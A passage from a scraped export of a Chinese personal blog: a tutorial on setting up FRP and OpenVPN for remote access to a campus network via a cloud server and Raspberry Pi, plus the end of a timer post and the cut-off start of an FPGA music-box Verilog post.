href=\"http://http//blog.ksfu.top/posts/463a/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e最后看下来就是 \u003cstrong\u003e设置重装载值,使能,检查标志位\u003c/strong\u003e 这三个步骤。\u003c/p\u003e\u003cp\u003e还有就是书上讲的是比较清楚详细的。\u003cspan class=\"diana_jiayou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E4%BD%BF%E7%94%A8FRP%E5%92%8COpenVPN%E5%AE%9E%E7%8E%B0%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网穿透\u003c/h1\u003e\u003cp\u003e)因为手头闲置了一台腾讯云小水管,树莓派3b也没啥任务,就准备尝试一下内网穿透校园网。(学校自己的VPN也能用。)\u003c/p\u003e\u003cul\u003e\u003cli\u003e公网云服务器:运行FRP服务端\u003c/li\u003e\u003cli\u003e公司内网服务器:运行FRP客户端、安装OpenVPN\u003c/li\u003e\u003cli\u003e手头的设备:安装OpenVPN客户端进行连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.spacesafe.top/archives/1557\"\u003e使用FRP和OpenVPN实现内网穿透 – EI_’s Blog (spacesafe.top)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/88428053\"\u003eCentOS下搭建Frp内网穿透服务_宁静致远kioye的博客-CSDN博客_centos frp\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.ywbj.cc/?p=663\"\u003eVPN设置,设置OpenVPN访问公司内网,图文详细 - 运维笔记(ywbj.cc)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开个端口先\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%BC%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E5%85%88\" class=\"headerlink\" title=\"开个端口先\"\u003e\u003c/a\u003e开个端口先\u003c/h2\u003e\u003cp\u003e本次 frp 服务端监听 端口为 \u003cstrong\u003e\u003ccode\u003e11451\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eOpenVPN 使用端口为 \u003cstrong\u003e\u003ccode\u003e21194\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e所以 在腾讯云管理控制台先把这两个端口开了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003efrp是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议,为http和https协议提供了额外的能力,且尝试性支持了点对点穿透。\u003c/p\u003e\u003cp\u003eFRP采用GO语言开发,支持windows linux MacOS 等多平台部署\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"安装-frp-服务端与客户端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%AE%89%E8%A3%85-frp-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"安装 frp 服务端与客户端\"\u003e\u003c/a\u003e安装 frp 服务端与客户端\u003c/h2\u003e\u003cp\u003e因为网络问题选择先下载好再上传\u003c/p\u003e\u003cp\u003efrp 项目地址: \u003ca href=\"https://github.com/fatedier/frp/releases\"\u003eReleases · fatedier/frp (github.com)\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"服务端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E6%9C%8D%E5%8A%A1%E7%AB%AF\" class=\"headerlink\" title=\"服务端\"\u003e\u003c/a\u003e服务端\u003c/h3\u003e\u003cp\u003e在云服务器上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_amd64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_amd64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003ebind_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 默认配置中监听的是 7000 端口,可根据自己实际情况修改。\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 服务端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frps.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"客户端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"客户端\"\u003e\u003c/a\u003e客户端\u003c/h3\u003e\u003cp\u003e在树莓派上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_arm64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_arm64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# * 改为 FRP 服务端的公网 IP\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 为 FRP 服务端监听端口 上面配置端口对应\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_tcp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e tcp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_udp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e udp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# server_addr 为 FRP 服务端的公网 IP\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# server_port 为 FRP 服务端监听的端口\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 客户端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 先确保服务端启动了再启动客户端\u003c/span\u003e./frpc \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frpc.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样 frp 服务端就可以建立一个客户端连接了\u003c/p\u003e\u003ch3 id=\"设置-frp-开机自启\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E8%AE%BE%E7%BD%AE-frp-%E5%BC%80%E6%9C%BA%E8%87%AA%E5%90%AF\" class=\"headerlink\" title=\"设置 frp 开机自启\"\u003e\u003c/a\u003e设置 frp 开机自启\u003c/h3\u003e\u003cp\u003e客户端服务端操作大同小异\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e客户端是 \u003cstrong\u003e\u003ccode\u003efrpc\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrpc.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e服务端是 \u003cstrong\u003e\u003ccode\u003efrps\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrps.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e创建后台启动模版(服务端为例)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/systemd/system/frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eExecStart\u003c/code\u003e 根据自己放 \u003ccode\u003efrp\u003c/code\u003e 的目录选\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eUnit\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eDescription\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003efrps\u003cspan class=\"token assign-left variable\"\u003eAfter\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enetwork.target\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eService\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eExecStart\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/home/yk/frp/frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e /home/yk/frp/frps.ini\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eInstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eWantedBy\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emulti-user.target\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 启动测试\u003c/span\u003esystemctl start frps.service\u003cspan class=\"token comment\"\u003e# 查看启动状态\u003c/span\u003esystemctl status frps.service\u003cspan class=\"token comment\"\u003e# 开机自启\u003c/span\u003esystemctl \u003cspan class=\"token builtin class-name\"\u003eenable\u003c/span\u003e frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"OpenVPN-配置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#OpenVPN-%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"OpenVPN 配置\"\u003e\u003c/a\u003eOpenVPN 配置\u003c/h2\u003e\u003cp\u003e在树莓派上操作(与运行)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里使用tun模式、tcp模式,比较容易搭建。手动搭建比较繁琐,我是直接使用一键搭建脚本。\u003c/p\u003e\u003cp\u003e脚本地址:\u003ca href=\"https://github.com/angristan/openvpn-install\"\u003ehttps://github.com/angristan/openvpn-install\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ecurl\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-O\u003c/span\u003e https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh\u003cspan class=\"token function\"\u003echmod\u003c/span\u003e +x openvpn-install.sh\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e ./openvpn-install.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e因为这里我没截图,就用参考博客的图了\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/3.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/5.webp\" alt=\"5\"/\u003e\u003c/p\u003e\u003cp\u003e然后启动 OpenVPN\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e# 启动测试systemctl start openvpn.service# 查看启动状态systemctl status openvpn.service# 开机自启systemctl enable openvpn.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在安装完成后,会生成一个以刚刚命名好的ovpn文件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/6.webp\" alt=\"6\"/\u003e\u003c/p\u003e\u003cp\u003e把这玩意下载下来\u003c/p\u003e\u003cp\u003e然后用文本编辑器打开并修改一处(应该是第三行)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eremote xxx.xxx.xxx.xxx \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#将默认的1194端口改成FRP转发端口21194(上面FRP客户端配置文件配置的)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e安装完成再次运行脚本,可选择 1)添加用户 2)移除已存在的用户 3)协助软件 4)退出\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"进行连接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E8%BF%9B%E8%A1%8C%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"进行连接\"\u003e\u003c/a\u003e进行连接\u003c/h2\u003e\u003cp\u003e我是在手机上测试的\u003c/p\u003e\u003cp\u003e安装 OpenVPN 客户端,选择我们修改好的 ovpn 文件,连接\u003c/p\u003e\u003cp\u003e)就是速度嘛,理解万岁,看了看论坛还行\u003cspan class=\"carol_shuileshuile\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e还没整完。\u003c/p\u003e\u003cp\u003eUPDATE1 AT: 2022-12-22 继续完成了Music box 2 这一部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因为在学校收了一块野火征途mini FPGA开发板,在看的是配套的视频教程。群里学长推荐我做一做 fpga4fun 上的东西,那就整一整 ~\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e这个项目是用 FPGA 驱动喇叭发出声音和音乐。\u003c/p\u003e\u003cp\u003e硬件连接为 FPGA 开发板,一个喇叭,一个 1kΩ 电阻。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBox.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBoxSchematic.gif\"/\u003e\u003c/p\u003e\u003ch2 id=\"Music-box-1-Simple-beep\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Music-box-1-Simple-beep\" class=\"headerlink\" title=\"Music box 1 -Simple beep\"\u003e\u003c/a\u003eMusic box 1 -Simple beep\u003c/h2\u003e\u003ch3 id=\"计数与频率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E8%AE%A1%E6%95%B0%E4%B8%8E%E9%A2%91%E7%8E%87\" class=\"headerlink\" title=\"计数与频率\"\u003e\u003c/a\u003e计数与频率\u003c/h3\u003e\u003cp\u003e一个16位的计数器,范围位 0 ~ 65535 共65536个值,如果板子的主频为 25M ,如果在上升沿计数(时钟是个方波),那么这个16位计数器最高位对应的频率便为 $25\\times10^6\\div65536=381Hz$ \u003cstrong\u003e(就是加到对应那一位变化之后算一次)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e以此类推第15位为 $25\\times10^6\\div32768=762Hz$ , 第14位为 $25\\times10^6\\div16384=1525Hz$ …… 第2位为$25\\times10^6\\div4=6.25\\times10^6Hz$ , 第1位为$25\\times10^6\\div2=15.5\\times10^6Hz$\u003c/p\u003e\u003ch3 id=\"产生-A-的声音\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E4%BA%A7%E7%94%9F-A-%E7%9A%84%E5%A3%B0%E9%9F%B3\" class=\"headerlink\" title=\"产生 A 的声音\"\u003e\u003c/a\u003e产生 A 的声音\u003c/h3\u003e\u003cp\u003eA 的频率为 440Hz \u003c/p\u003e\u003cp\u003e以 25M 主频为例,产生440Hz可以先使用16位计数器,将 25M 分为 65536 份,此时计算出产生 440Hz 只需要计数到 56818 即可。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,占空比就不是 50% 了,$b’1000\\ 0000\\ 0000\\ 0000=d’32768$ ,所以低电平为 0\u003cdel\u003e32767,高电平为 32768\u003c/del\u003e56818,占空比为42%\u003c/p\u003e\u003cp\u003e所以可以折中一下,然后每次翻转 \u003ccode\u003espeaker\u003c/code\u003e 的电平值 ,而且折中之后可以省一位计数器的值~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token 